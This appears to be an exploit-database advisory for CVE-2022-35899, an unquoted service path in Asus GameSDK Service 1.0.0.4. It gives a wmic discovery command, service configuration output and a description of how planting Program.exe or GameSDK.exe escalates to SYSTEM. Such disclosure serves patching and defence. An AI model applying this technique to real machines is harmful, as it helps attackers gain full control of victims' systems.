Asus GameSDK v1.0.0.4 - 'GameSDK.exe' Unquoted Service Path

vendor:

GameSDK Service

by:

Angelo Pio Amirante

7.8

CVSS

HIGH

Unquoted Service Path

CWE

Product Name: GameSDK Service

Affected Version From: 1.0.0.4

Affected Version To: 1.0.5.0

Patch Exists: YES

Related CWE: CVE-2022-35899

CPE: o:asus:gamesdk_service

Metasploit:

Other Scripts:

Platforms Tested: Windows 10

2022

Asus GameSDK v1.0.0.4 – ‘GameSDK.exe’ Unquoted Service Path

If an attacker had already compromised the system and the current user has the privileges to write in the 'C:Program Files (x86)ASUS' folder or in 'C:', he could place his own 'Program.exe' or 'GameSDK.exe' files respectively, and when the service starts, it would launch the malicious file, rather than the original 'GameSDK.exe'.

Mitigation:

Ensure that all services have a fully qualified path to the executable file.

Source

Exploit-DB raw data:

# Exploit Title: Asus GameSDK v1.0.0.4 - 'GameSDK.exe' Unquoted Service Path
# Date: 07/14/2022
# Exploit Author: Angelo Pio Amirante
# Version: 1.0.0.4
# Tested on: Windows 10
# Patched version: 1.0.5.0
# CVE: CVE-2022-35899

# Step to discover the unquoted service path:

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

# Info on the service:

C:\>sc qc "GameSDK Service"
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: GameSDK Service
        TIPO                      : 10  WIN32_OWN_PROCESS
        TIPO_AVVIO                : 2   AUTO_START
        CONTROLLO_ERRORE          : 1   NORMAL
        NOME_PERCORSO_BINARIO     : C:\Program Files (x86)\ASUS\GameSDK Service\GameSDK.exe
        GRUPPO_ORDINE_CARICAMENTO :
        TAG                       : 0
        NOME_VISUALIZZATO         : GameSDK Service
        DIPENDENZE                :
        SERVICE_START_NAME : LocalSystem

# Exploit
If an attacker had already compromised the system and the current user has the privileges to write in the "C:\Program Files (x86)\ASUS\" folder or in "C:\" , he could place his own "Program.exe" or "GameSDK.exe" files respectively, and when the service starts, it would launch the malicious file, rather than the original "GameSDK.exe".